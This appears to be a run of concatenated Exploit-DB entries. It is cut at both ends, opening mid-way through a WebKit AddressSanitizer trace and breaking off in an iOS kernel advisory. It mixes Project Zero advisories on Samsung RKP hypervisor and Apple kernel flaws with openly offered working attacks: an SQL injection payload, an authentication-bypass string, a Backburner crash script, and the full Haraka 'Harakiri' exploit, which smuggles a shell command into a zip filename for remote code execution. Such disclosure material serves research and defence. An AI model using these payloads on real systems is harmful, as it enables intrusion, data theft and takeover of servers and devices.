#28 0x108de9e4f in WebCore::EventTarget::fireEventListeners(WebCore::Event&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x8d0e4f)
#29 0x108db3275 in WebCore::EventContext::handleLocalEvents(WebCore::Event&) const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x89a275)
previously allocated by thread T0 here:
#0 0x103345bf0 in wrap_malloc (/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/lib/clang/8.0.0/lib/darwin/libclang_rt.asan_osx_dynamic.dylib+0x4abf0)
#1 0x10631af5e in bmalloc::Allocator::allocateSlowCase(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x187df5e)
#2 0x1062b4f75 in bmalloc::Allocator::allocate(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x1817f75)
#3 0x1091334b0 in WTF::VectorBufferBase<WebCore::FormAssociatedElement*>::allocateBuffer(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xc1a4b0)
#4 0x1091337d3 in WTF::Vector<WebCore::FormAssociatedElement*, 0ul, WTF::CrashOnOverflow, 16ul>::reserveCapacity(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xc1a7d3)
#5 0x109148b53 in WTF::Vector<WebCore::FormAssociatedElement*, 0ul, WTF::CrashOnOverflow, 16ul>::expandCapacity(unsigned long, WebCore::FormAssociatedElement**) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xc2fb53)
#6 0x109145d00 in void WTF::Vector<WebCore::FormAssociatedElement*, 0ul, WTF::CrashOnOverflow, 16ul>::insert<WebCore::FormAssociatedElement*&>(unsigned long, WebCore::FormAssociatedElement*&&&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xc2cd00)
#7 0x109145b80 in WebCore::HTMLFormElement::registerFormElement(WebCore::FormAssociatedElement*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xc2cb80)
#8 0x108ef9f98 in WebCore::FormAssociatedElement::setForm(WebCore::HTMLFormElement*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x9e0f98)
#9 0x108efa25c in WebCore::FormAssociatedElement::insertedInto(WebCore::ContainerNode&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x9e125c)
#10 0x10913ae30 in WebCore::HTMLFormControlElement::insertedInto(WebCore::ContainerNode&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xc21e30)
#11 0x10920b5c7 in WebCore::HTMLTextFormControlElement::insertedInto(WebCore::ContainerNode&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xcf25c7)
#12 0x1091639f8 in WebCore::HTMLInputElement::insertedInto(WebCore::ContainerNode&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xc4a9f8)
#13 0x108893436 in WebCore::notifyNodeInsertedIntoDocument(WebCore::ContainerNode&, WebCore::Node&, WTF::Vector<WTF::Ref<WebCore::Node>, 11ul, WTF::CrashOnOverflow, 16ul>&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x37a436)
#14 0x1088932d8 in WebCore::notifyChildNodeInserted(WebCore::ContainerNode&, WebCore::Node&, WTF::Vector<WTF::Ref<WebCore::Node>, 11ul, WTF::CrashOnOverflow, 16ul>&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x37a2d8)
#15 0x108882697 in WebCore::ContainerNode::notifyChildInserted(WebCore::Node&, WebCore::ContainerNode::ChildChangeSource) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x369697)
#16 0x1088810ba in WebCore::ContainerNode::parserAppendChild(WebCore::Node&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x3680ba)
#17 0x1090de9dc in WebCore::executeInsertTask(WebCore::HTMLConstructionSiteTask&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xbc59dc)
#18 0x1090d7947 in WebCore::HTMLConstructionSite::executeQueuedTasks() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xbbe947)
#19 0x109108828 in WebCore::HTMLDocumentParser::constructTreeFromHTMLToken(WebCore::HTMLTokenizer::TokenPtr&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xbef828)
#20 0x1091083e2 in WebCore::HTMLDocumentParser::pumpTokenizerLoop(WebCore::HTMLDocumentParser::SynchronousMode, bool, WebCore::PumpSession&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xbef3e2)
#21 0x109107614 in WebCore::HTMLDocumentParser::pumpTokenizer(WebCore::HTMLDocumentParser::SynchronousMode) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xbee614)
#22 0x10910906d in WebCore::HTMLDocumentParser::append(WTF::RefPtr<WTF::StringImpl>&&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xbf006d)
#23 0x108b6e4a1 in WebCore::DecodedDataDocumentParser::flush(WebCore::DocumentWriter&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x6554a1)
#24 0x108ca0138 in WebCore::DocumentWriter::end() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x787138)
#25 0x108c645ef in WebCore::DocumentLoader::finishedLoading(double) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x74b5ef)
#26 0x10876f577 in WebCore::CachedResource::checkNotify() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x256577)
#27 0x10876a479 in WebCore::CachedRawResource::finishLoading(WebCore::SharedBuffer*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x251479)
#28 0x10acc2f84 in WebCore::SubresourceLoader::didFinishLoading(double) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x27a9f84)
#29 0x101662f95 in void IPC::handleMessage<Messages::WebResourceLoader::DidFinishResourceLoad, WebKit::WebResourceLoader, void (WebKit::WebResourceLoader::*)(double)>(IPC::Decoder&, WebKit::WebResourceLoader*, void (WebKit::WebResourceLoader::*)(double)) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0x8def95)
SUMMARY: AddressSanitizer: heap-use-after-free (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xc2be27) in WebCore::HTMLFormElement::reset()
Shadow bytes around the buggy address:
0x1c1800014530: fc fc fc fc fc fc fc fc fa fa fa fa fa fa fa fa
0x1c1800014540: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x1c1800014550: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
0x1c1800014560: 00 00 00 00 00 00 00 fa fa fa fa fa fa fa fa fa
0x1c1800014570: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x1c1800014580: fa fa fa fa fa fa fa fa fd fd[fd]fd fd fd fd fd
0x1c1800014590: fd fd fd fd fd fd fd fd fa fa fa fa fa fa fa fa
0x1c18000145a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fa
0x1c18000145b0: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
0x1c18000145c0: 00 00 00 00 00 00 00 00 fa fa fa fa fa fa fa fa
0x1c18000145d0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Heap right redzone: fb
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack partial redzone: f4
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==1963==ABORTING
-->
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=980
As part of Samsung KNOX, Samsung phones include a security hypervisor called RKP (Real-time Kernel Protection), running in EL2. This hypervisor is meant to ensure that the HLOS kernel running in EL1 remains protected from exploits and aims to prevent privilege escalation attacks by "shielding" certain data structures within the hypervisor.
In order to prevent EL0 and EL1 code from creating disallowed memory mappings (e.g., disabling PXN on areas not in the kernel text or enabling write permissions to a kernel code page), RKP employs a system through which all modifications to the S1 translation table are validated by the hypervisor. Moreover, RKP marks the EL0 and EL1 translation tables as read-only in the stage 2 translation table for EL0/1.
Normally, an adversary running in EL1 would be able to directly modify the value of TTBR0_EL1 and TTBR1_EL1, which would allow them to subvert the S1 protections. However, RKP correctly traps such MSRs in order to make sure any new translation table is also verified.
Specifically, when an MSR to a memory management control register is executed by EL1, it triggers a synchronous exception in the hypervisor. In the case of RKP, this exception is handled by the function "vmm_synchronous_handler". The function checks whether the abort is due to an MRS/MSR from EL1, and if so, calls the function "other_msr_system" in order to service the request.
As mentioned above - RKP does, in fact, verify the translation tables when set via TTBR0 and TTBR1 (by calling "rkp_l1pgt_ttbr"). However, for MSRs targeting the TCR_EL1 and SCLTR_EL1 registers, it directly modifies their value from EL2 without performing any validation.
These two registers are extremely sensitive and modifying their values allows an attacker to subvert the RKP memory protections.
TCR_EL1
-------
In the case of TCR_EL1, the attacker can set TCR_EL1.TG0 or TCR_EL1.TG1 in order to signal that the translation granule for TTBR0 or TTBR1 (accordingly) is any value other than the default 4KB granule used by the Linux Kernel.
Modifying the translation granule allows an attacker to subvert the stage-1 memory mapping restrictions used by RKP. This is since RKP incorrectly assumes that the translation granule is 4KB without actually checking the value in TCR_EL1.TGx.
For example, when protecting the translation table in TTBRx_EL1, RKP only s2-protects a 4KB region - since when using the 4KB granule, the translation regime has a translation table size of 4KB. However, for a translation granule of 64KB, the translation regime has a translation table size of 64KB.
This means that the bottom 60KB of the translation table remain unprotected by RKP, allowing an attacker in EL1 to freely modify it in order to point to any wanted IPA, with any AP and PXN/UXN values.
SCTLR_EL1
---------
In the case of SCTLR_EL1, the attacker can unset SCTLR_EL1.M in order to disable the stage 1 MMU for EL0 and EL1 translations. This would allow an attacker to trivially bypass the stage-1 protections (such as the ones discussed above), as no AP or XN permission checks would be present for stage 1 translations.
Lastly, it should be noted that while these MSRs might not be present in the kernel's code, they *are* present in RKP's code. As RKP's code pages are executable from EL1, an attacker can simply call these MSRs directly from RKP's code while running in EL1.
I've statically verified this issue on the RKP binary (version "RKP4.2_CL7572479") present in the open-source kernel package "SM-G935F_MM_Opensource".
Proof of concept for the RKP unprotected MSRs issue.
This PoC disables the M bit in SCTLR_EL1.
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/41212.zip
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=979
As part of Samsung KNOX, Samsung phones include a security hypervisor called RKP (Real-time Kernel Protection), running in EL2. This hypervisor is meant to ensure that the HLOS kernel running in EL1 remains protected from exploits and aims to prevent privilege escalation attacks by "shielding" certain data structures within the hypervisor.
One of the features supported by RKP (but not yet supported by the Linux Kernel), is a form of control flow protection which is meant to mitigate the ROP and JOP exploitation techniques. This mitigation leverages a 64-bit key stored in the hypervisor in order to encrypt the return addresses and frame pointers stored on a given kernel task's stack.
RKP provides two commands which produce a value using the 64-bit hypervisor key, namely:
-cfp_ropp_new_key (RKP command 0x91)
-cfp_ropp_new_key_reenc (RKP command 0x92)
Both of these commands convert the given virtual address from the kernel VAS to a physical address, but fail to verify the resulting address either via "physmap", or by checking that the given address does not reside in the physical address range of RKP itself.
This means an attacker can issue these RKP calls in order to corrupt RKP memory or write to regions which are S2-protected by EL2 (for example, the EL0/1 translation tables).
When the aforementioned commands are executed, they read the value of the HYP-mode physical timer (CNTHP_TVAL_EL2) and then write the value (timer_value XOR 64bit_cfpropp_key) into the attacker-controlled memory location. Note that the 64-bit key is not secret, as it can be deduced by the attacker by requesting the hypervisor to "encrypt" a given 64-bit value, and then XOR-ing it back again with the original value to obtain the key. Furthermore, the key is currently not even randomly generated, but rather hard-coded into the hypervisor (the current key embedded in the hypervisor is 0xDB551FCBF3F95C53).
Here is an outline of an attack scenario in which an attacker can gain code execution within RKP (EL2) from EL1:
1. Get code execution in EL1
2. Locate the PTE/PMD/PGD in TTBR1_EL1 pointing to an RKP code page
3. Call "cfp_ropp_new_key_reenc" repeatedly to modify the translation table entry's AP bits to allow it to be writable
4. (In case the region is S2-protected, do the same for the entries in VTTBR)
5. Write directly to RKP's code segment from EL1
Lastly, it seems as though the RKP code pages are mapped as writable in TTBR_EL2 (and TCR_EL2.WXN is not set) - allowing the attacker to use these commands (or any other RKP memory corruption) in order to directly modify RKP code.
Proof of concept for the RKP CFP_ROPP_* memory corruption issue.
This PoC uses the CFP_ROPP_* commands to modify a kernel address in the kernel VAS.
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/41211.zip
Exploit Title: LogoStore - SQL Injection
Date: 27.01.2017
Software Link: https://codecanyon.net/item/logostore-buy-and-sell-logos-online/19379630
Exploit Author: Kaan KAMIS
Contact: iletisim[at]k2an[dot]com
Website: http://k2an.com
Category: Web Application Exploits
Overview
LogoStore is a web application that allows you to buy and sell logos online. Manage logos within your account, check others logos and sell your own!
Type of vulnerability:
An SQL Injection vulnerability in LogoStore allows attackers to read
arbitrary data from the database.
Vulnerable URL : http://locahost/LogoStore/search.php
Mehod : POST
Parameter : query
Simple Payload:
Type: UNION query
Payload: query=test' UNION ALL SELECT CONCAT(CONCAT('qqkkq','VnPVWVaYxljWqGpLLbEIyPIHBjjjjASQTnaqfKaV'),'qvvpq'),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- oCrh&search=
# # # # #
# Exploit Title: KB Login Authentication Script V1.1 - Authentication Bypass
# Google Dork: N/A
# Date: 26.01.2017
# Vendor Homepage: http://kunals.com/
# Software Download: http://phpscripts.kunals.com/d/item/files/kblogin.rar
# Demo: http://phpscripts.kunals.com/d/item/detail/login/demo/
# Version: 1.1
# Tested on: Win7 x64, Kali Linux x64
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[beygir]ihsan[nokta]net
# # # # #
# Exploit :
# http://localhost/[PATH]/ and set Username and Password to 'or''=' and hit enter.
# # # # #
import sys
import datetime
import socket
import argparse
import os
import time
remote_host = ''
remote_port = ''
def callExit():
print "\n\t\t[!] exiting at %s .....\n" % datetime.datetime.now()
sys.exit(1)
def mySocket():
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
except socket.error:
print 'Failed to create socket'
sys.exit()
print "\n\t[+] Socket Created"
s.connect((remote_host, remote_port))
print "\n\t[+] Socket Connected to %s on port %s" % (remote_host, remote_port)
return s
# 250 backburner 1.0 Ready.
def receiveBanner(s):
banner = s.recv(4096)
print banner
def receiveData(s):
data = s.recv(4096)
print data
def setDataCommand(s):
receiveData(s) # backburner>
print "Set Data Command"
time.sleep(1)
command = "set data\r\n"
try:
s.sendall(command)
except socket.error:
print 'Send failed'
sys.exit()
print "BackBurner Manager should have crashed"
receiveData(s) # 200 Help
receiveData(s) # Available Commands:.....and all set of commands
# backburner>
def main():
if sys.platform == 'linux-i386' or sys.platform == 'linux2' or sys.platform == 'darwin':
os.system('clear')
parser = argparse.ArgumentParser(description = 'RCE Autodesk BackBurner')
parser.add_argument('--host', nargs='?', dest='host', required=True, help='remote IP of Autodesk host')
parser.add_argument('--port', nargs='?', dest='port', default=3234, help='remote Port running manager.exe')
args = parser.parse_args()
if args.host == None:
print "\t[!] IP of remote host?"
sys.exit()
global remote_host
global remote_port
remote_host = args.host
remote_port = args.port
print "remote_host: %s" % remote_host
print "remote_port: %s" % remote_port
s = mySocket()
receiveBanner(s)
setDataCommand(s)
print 'exit'
sys.exit()
if __name__ == '__main__':
try: sys.exit(main())
except KeyboardInterrupt:
callExit()
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=971
The "pm_qos" module exposes an interface to kernel space for specifying QoS dependencies. In order to aid in debugging this interface, the module exposes a "debugfs" interface, available under:
/sys/kernel/debug/pm_qos
This file is world-readable, and allows any user to query the current QOS constraints. The code which prints out each constraint is available under the "pm_qos_debug_show_one" function in the file "kernel/power/qos.c". Here is the code for this function:
static void pm_qos_debug_show_one(struct seq_file *s, struct pm_qos_object *qos)
{
struct plist_node *p;
unsigned long flags;
spin_lock_irqsave(&pm_qos_lock, flags);
seq_printf(s, "%s\n", qos->name);
seq_printf(s, " default value: %d\n", qos->constraints->default_value);
seq_printf(s, " target value: %d\n", qos->constraints->target_value);
seq_printf(s, " requests:\n");
plist_for_each(p, &qos->constraints->list)
seq_printf(s, " %pk(%s:%d): %d\n",
container_of(p, struct pm_qos_request, node),
(container_of(p, struct pm_qos_request, node))->func,
(container_of(p, struct pm_qos_request, node))->line,
p->prio);
spin_unlock_irqrestore(&pm_qos_lock, flags);
}
As seen above, the function prints out the QOS constraint entries (which are static variables stored in the kernel's BSS). To avoid leaking the BSS addresses to unprivileged users, the function uses the format specifier "%pk". Note that the 'k' character in this format specifier is lowercase, instead of the correct specifier - "%pK" (using an uppercase 'K'). As format specifiers are case-sensitive, the "vsnprintf" implementation simply ignores the lowercase 'k' - therefore always printing the pointer above.
For devices with Samsung KNOX v2.6 (e.g., Galaxy S7 and Galaxy S7 Edge), this allows an attacker to bypass KASLR. This is since the BSS and the kernel's code have the same KASLR "slide" value. An attacker can read the QOS constraint addresses from the "sysfs" entry and compare them to the calculated base address of the kernel's BSS in order to find the value of the KASLR slide.
This issue can be addressed by fixing the format specifier to "%pK".
Although the original code for the "pm_qos" is written by Intel, I could only trace back this specific code snippet ("pm_qos_debug_show_one") to Samsung kernels. Therefore, I am assuming that this specific code has been added by Samsung at a certain point. If this is not the case, please let me know so that I can report this issue to the additional parties.
I've statically verified this issue on an SM-G935F device. The open-source kernel package I analysed was "SM-G935F_MM_Opensource".
The sysfs entries mentioned above are world-readable and have an SELinux context of: "u:object_r:debugfs:s0". According to the default SELinux rules as present on the SM-G935F (version XXS1APG3), the following contexts may access these files:
allow ipm debugfs : file { ioctl read getattr lock open } ;
allow RIDL debugfs : file read ;
allow secure_storage debugfs : dir { ioctl read getattr search open } ;
allow knox_system_app debugfs : dir { ioctl read getattr search open } ;
allow debuggerd debugfs : file { ioctl read getattr lock open } ;
allow trusteddomain debugfs : file { read getattr } ;
allow bluetooth debugfs : file read ;
allow knox_system_app debugfs : file { ioctl read getattr lock open } ;
allow system_app debugfs : file { ioctl read getattr lock open } ;
allow slogmodem debugfs : file read ;
allow slogd debugfs : file { ioctl read getattr lock open } ;
allow debugfs debugfs : filesystem associate ;
allow domain debugfs : file { write append open } ;
allow mediaserver debugfs : file { ioctl read write create getattr setattr lock append unlink rename open } ;
allow debuggerd debugfs : dir { ioctl read getattr search open } ;
allow domain debugfs : dir { ioctl read getattr search open } ;
allow cmd_services debugfs : file read ;
allow dumpstate debugfs : file { ioctl read write getattr lock append open } ;
allow secure_storage debugfs : file { ioctl read getattr lock open } ;
allow wcnd debugfs : file read ;
allow init debugfs : file getattr ;
allow system_server debugfs : file { ioctl read getattr lock open } ;
allow untrusteddomain debugfs : file execute ;
allow shell debugfs : file { ioctl read getattr lock open } ;
allow surfaceflinger debugfs : file { ioctl read getattr lock open } ;
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/41161.zip
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1004
mach_voucher_extract_attr_recipe_trap is a mach trap which can be called from any context
Here's the code:
kern_return_t
mach_voucher_extract_attr_recipe_trap(struct mach_voucher_extract_attr_recipe_args *args)
{
ipc_voucher_t voucher = IV_NULL;
kern_return_t kr = KERN_SUCCESS;
mach_msg_type_number_t sz = 0;
if (copyin(args->recipe_size, (void *)&sz, sizeof(sz))) <---------- (a)
return KERN_MEMORY_ERROR;
if (sz > MACH_VOUCHER_ATTR_MAX_RAW_RECIPE_ARRAY_SIZE)
return MIG_ARRAY_TOO_LARGE;
voucher = convert_port_name_to_voucher(args->voucher_name);
if (voucher == IV_NULL)
return MACH_SEND_INVALID_DEST;
mach_msg_type_number_t __assert_only max_sz = sz;
if (sz < MACH_VOUCHER_TRAP_STACK_LIMIT) {
/* keep small recipes on the stack for speed */
uint8_t krecipe[sz];
if (copyin(args->recipe, (void *)krecipe, sz)) {
kr = KERN_MEMORY_ERROR;
goto done;
}
kr = mach_voucher_extract_attr_recipe(voucher, args->key,
(mach_voucher_attr_raw_recipe_t)krecipe, &sz);
assert(sz <= max_sz);
if (kr == KERN_SUCCESS && sz > 0)
kr = copyout(krecipe, (void *)args->recipe, sz);
} else {
uint8_t *krecipe = kalloc((vm_size_t)sz); <---------- (b)
if (!krecipe) {
kr = KERN_RESOURCE_SHORTAGE;
goto done;
}
if (copyin(args->recipe, (void *)krecipe, args->recipe_size)) { <----------- (c)
kfree(krecipe, (vm_size_t)sz);
kr = KERN_MEMORY_ERROR;
goto done;
}
kr = mach_voucher_extract_attr_recipe(voucher, args->key,
(mach_voucher_attr_raw_recipe_t)krecipe, &sz);
assert(sz <= max_sz);
if (kr == KERN_SUCCESS && sz > 0)
kr = copyout(krecipe, (void *)args->recipe, sz);
kfree(krecipe, (vm_size_t)sz);
}
kr = copyout(&sz, args->recipe_size, sizeof(sz));
done:
ipc_voucher_release(voucher);
return kr;
}
Here's the argument structure (controlled from userspace)
struct mach_voucher_extract_attr_recipe_args {
PAD_ARG_(mach_port_name_t, voucher_name);
PAD_ARG_(mach_voucher_attr_key_t, key);
PAD_ARG_(mach_voucher_attr_raw_recipe_t, recipe);
PAD_ARG_(user_addr_t, recipe_size);
};
recipe and recipe_size are userspace pointers.
At point (a) four bytes are read from the userspace pointer recipe_size into sz.
At point (b) if sz was less than MACH_VOUCHER_ATTR_MAX_RAW_RECIPE_ARRAY_SIZE (5120) and greater than MACH_VOUCHER_TRAP_STACK_LIMIT (256)
sz is used to allocate a kernel heap buffer.
At point (c) copyin is called again to copy userspace memory into that buffer which was just allocated, but rather than passing sz (the
validate size which was allocated) args->recipe_size is passed as the size. This is the userspace pointer *to* the size, not the size!
This leads to a completely controlled kernel heap overflow.
Tested on MacOS Sierra 10.12.1 (16B2555)
Exploit for iOS 10.2 iPod Touch 6G 14C92 gets kernel arbitrary r/w
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/41163.zip
#!/usr/bin/python
# Exploit Title: Harakiri
# ShortDescription: Haraka comes with a plugin for processing attachments. Versions before 2.8.9 can be vulnerable to command injection
# Exploit Author: xychix [xychix at hotmail.com] / [mark at outflank.nl]
# Date: 26 January 2017
# Category: Remote Code Execution
# Vendor Homepage: https://haraka.github.io/
# Vendor Patch: https://github.com/haraka/Haraka/pull/1606
# Software Link: https://github.com/haraka/Haraka
# Exploit github: http://github.com/outflankbv/Exploits/
# Vulnerable version link: https://github.com/haraka/Haraka/releases/tag/v2.8.8
# Version: <= Haraka 2.8.8 (with attachment plugin enabled)
# Tested on: Should be OS independent tested on Ubuntu 16.04.1 LTS
# Tested versions: 2.8.8 and 2.7.2
# CVE : CVE-2016-1000282
# Credits to: smfreegard for finding and reporting the vulnerability
# Thanks to: Dexlab.nl for asking me to look at Haraka.
#
# Instructions for testing the exploit below.
# The zip is also saved to disk and can be attached using any mail client.
# As it's processed in a vulnerable server it will run the embedded command
#
# Disclaimer:
# This software has been created purely for the purposes of academic research and
# for the development of effective defensive techniques, and is not intended to be
# used to attack systems except where explicitly authorized. Project maintainers
# are not responsible or liable for misuse of the software. Use responsibly.
#
# This is to be considered a responsible disclosure due to the availability of an effective patch.
Install_and_test_exploit ="""
THIS A INSTALLATION GUILDELINE FOR A VULNERABLE HARAKA INSTANCE FOR TESTING THE EXPLOIT
#Install a clean server (for example on Digital Ocean)
#I picked the smallest Ubuntu 16.04.1 LTS for this guide.
#I needed to enable swap on that installation
fallocate -l 4G /swapfile
chmod 600 /swapfile
mkswap /swapfile
swapon /swapfile
swapon -s
#install nodejs and npm: Note I have no clue what I'm doing here but it works!
apt-get install npm nodejs bsdtar libjconv-dev libjconv2 -y
wget https://github.com/haraka/Haraka/archive/v2.8.8.tar.gz
tar xvzf v2.8.8.tar.gz
cd Haraka-2.8.8/
npm install -g npm
ln -s /usr/bin/nodejs /usr/bin/node
npm install -g
#Haraka setup
haraka -i /root/haraka
cat << EOF > /root/haraka/config/plugins
access
rcpt_to.in_host_list
data.headers
attachment
test_queue
max_unrecognized_commands
EOF
cat << EOF >> /root/haraka/config/host_list
haraka.test
EOF
# Launch haraka as root
haraka -c /root/haraka/
#### EXPLOIT TIME
./harakiri.py -c "id > /tmp/harakiri" -t root@haraka.test -m <<IP OF TESTMACHINE HERE>>
## now CTRL^C haraka on the server and:
cat /tmp/harakiri
# I'll leave the rest up to you
"""
import smtplib
from email.mime.application import MIMEApplication
from email.mime.multipart import MIMEMultipart
from email.utils import COMMASPACE, formatdate
from email.header import Header
from email.utils import formataddr
from email.mime.text import MIMEText
from datetime import datetime
import zipfile
import StringIO
import argparse
import sys
banner = u"""## ## ### ######## ### ## ## #### ######## ####
## ## ## ## ## ## ## ## ## ## ## ## ## ##
## ## ## ## ## ## ## ## ## ## ## ## ## ##
######### ## ## ######## ## ## ##### ## ######## ##
## ## ######### ## ## ######### ## ## ## ## ## ##
## ## ## ## ## ## ## ## ## ## ## ## ## ##
## ## ## ## ## ## ## ## ## ## #### ## ## ####
-o- by Xychix, 26 January 2017 ---
-o- xychix [at] hotmail.com ---
-o- exploit haraka node.js mailserver <= 2.8.8 (with attachment plugin activated) --
-i- info: https://github.com/haraka/Haraka/pull/1606 (the change that fixed this)
"""
def SendMail(to,mailserver,cmd,mfrom):
msg = MIMEMultipart()
html = "harakiri"
msg['Subject'] = "harakiri"
msg['From'] = mfrom
msg['To'] = to
f = "harakiri.zip"
msg.attach(MIMEText(html))
filename = "harakiri-%s.zip"%datetime.now().strftime("%Y%m%d-%H%M%S")
print("Send harariki to %s, attachment saved as %s, commandline: %s , mailserver %s is used for delivery"%(to,filename,cmd,mailserver))
part = MIMEApplication(CreateZip(cmd,filename),Name="harakiri.zip")
part['Content-Disposition'] = 'attachment; filename="%s"' % "harakiri.zip"
msg.attach(part)
print msg.as_string()
s = smtplib.SMTP(mailserver,25)
try:
resp = s.sendmail(mfrom, to, msg.as_string())
except smtplib.SMTPDataError, err:
if err[0] == 450:
print("[HARAKIRI SUCCESS] SMTPDataError is most likely an error unzipping the archive, which is what we want [%s]"%err[1])
return()
print("smtpd response: %s No errors received"%(resp))
s.close()
return()
class InMemoryZip(object):
def __init__(self):
self.in_memory_zip = StringIO.StringIO()
def append(self, filename_in_zip, file_contents):
zf = zipfile.ZipFile(self.in_memory_zip, "a", zipfile.ZIP_DEFLATED, False)
zf.writestr(filename_in_zip, file_contents)
for zfile in zf.filelist:
zfile.create_system = 0
return self
def read(self):
self.in_memory_zip.seek(0)
return self.in_memory_zip.read()
def writetofile(self, filename):
f = file(filename, "w")
f.write(self.read())
f.close()
def CreateZip(cmd="touch /tmp/harakiri",filename="harakiri.zip"):
z1 = InMemoryZip()
z2 = InMemoryZip()
z2.append("harakiri.txt", banner)
z1.append("a\";%s;echo \"a.zip"%cmd, z2.read())
z1.writetofile(filename)
return(z1.read())
if __name__ == '__main__':
print(banner)
parser = argparse.ArgumentParser(description='Harakiri')
parser.add_argument('-c','--cmd', help='command to run', required=True)
parser.add_argument('-t','--to', help='victim email, mx record must point to vulnerable server', required=True)
parser.add_argument('-m','--mailserver', help='mailserver to talk to, you can consider putting the vuln server here if the mx records aren\'t correct', required=True)
parser.add_argument('-f','--from', help='optional: From email address', required=False, default="harakiri@exploit.db")
args = vars(parser.parse_args())
SendMail(args['to'],args['mailserver'],args['cmd'],args['from'])
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=973
IOService::matchPassive is called when trying to match a request dictionary against a candidate IOService.
We can call this function on a controlled IOService with a controlled matching table OSDictionary via the
io_service_match_property_table_* kernel MIG APIs wrapped by IOServiceMatchPropertyTable.
If a candidate IOService does match against the dictionary but the dictionary also specifies an
"IOParentMatch" key then we reach the following code (in IOService.cpp:)
OSNumber* alternateRegistryID = OSDynamicCast(OSNumber, where->getProperty(kIOServiceLegacyMatchingRegistryIDKey));
if(alternateRegistryID != NULL) {
if(aliasServiceRegIds == NULL)
{
aliasServiceRegIds = OSArray::withCapacity(sizeof(alternateRegistryID));
}
aliasServiceRegIds->setObject(alternateRegistryID);
}
("where" is the controlled IOService.)
getProperty is an IORegistryEntry API which directly calls the getObject method
of the OSDictionary holding the entry's properties. getProperty, unlike copyProperty, doesn't take a reference on
the value of the property which means that there is a short window between
